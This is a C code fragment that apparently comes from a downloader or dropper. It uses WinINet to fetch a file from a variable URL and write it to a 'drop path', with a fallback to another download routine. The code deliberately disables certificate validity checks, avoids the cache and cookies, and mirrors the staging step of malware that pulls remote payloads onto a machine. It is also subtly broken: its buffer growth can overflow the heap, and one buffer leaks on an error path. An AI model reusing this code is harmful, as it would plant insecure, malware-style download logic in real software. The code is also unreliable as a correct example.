download to file

//Download file
    HINTERNET hSession = InternetOpenA(szUserAgent, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
    if (hSession != 0)
    {
        HINTERNET hConn = InternetOpenUrlA(hSession, szRealDownloadUrl, 0, 0,
            INTERNET_FLAG_NO_UI
            | INTERNET_FLAG_NO_COOKIES
            | INTERNET_FLAG_NO_CACHE_WRITE
            | INTERNET_FLAG_IGNORE_CERT_CN_INVALID
            | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
            | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP
            | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, 0);
        if (hConn == 0) goto _DownloadWithUrlMon;

        PBYTE bDownloadBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 4096);
        DWORD dwBytesRead = 0, dwLastError = 0, dwCurrBufIdx = 0, dwCurrBufSize = 4096;
        PBYTE bTempBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 4096);

        do
        {
            if (!InternetReadFile(hConn, bTempBuffer, 4096, &dwBytesRead))
            {
                dwLastError = GetLastError();
                if (dwLastError != ERROR_SUCCESS)
                {
                    HeapFree(GetProcessHeap(), 0, bDownloadBuffer);
                    InternetCloseHandle(hConn);
                    goto _DownloadWithUrlMon;
                }
            }
            if (dwBytesRead > 0)
            {
                if (dwCurrBufIdx >= dwCurrBufSize)
                {
                    bDownloadBuffer = (PBYTE)HeapReAlloc(GetProcessHeap(),
                        HEAP_ZERO_MEMORY, bDownloadBuffer, dwCurrBufSize + 4096);
                    dwCurrBufSize += 4096;
                }
                memcpy(&bDownloadBuffer[dwCurrBufIdx], bTempBuffer, dwBytesRead);
                dwCurrBufIdx += dwBytesRead;
            }
        } while ((dwLastError == ERROR_SUCCESS) && (dwBytesRead > 0));

        HeapFree(GetProcessHeap(), 0, bTempBuffer);
        InternetCloseHandle(hConn);

        HANDLE hFile = CreateFileA(szDropPath, GENERIC_WRITE, FILE_SHARE_WRITE,
            0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
        if (hFile == INVALID_HANDLE_VALUE)
        {
            HeapFree(GetProcessHeap(), 0, bDownloadBuffer);
            goto _DownloadWithUrlMon;
        }
        WriteFile(hFile, bDownloadBuffer, dwCurrBufIdx, &dwBytesRead, 0);
        CloseHandle(hFile);

        HeapFree(GetProcessHeap(), 0, bDownloadBuffer);
    }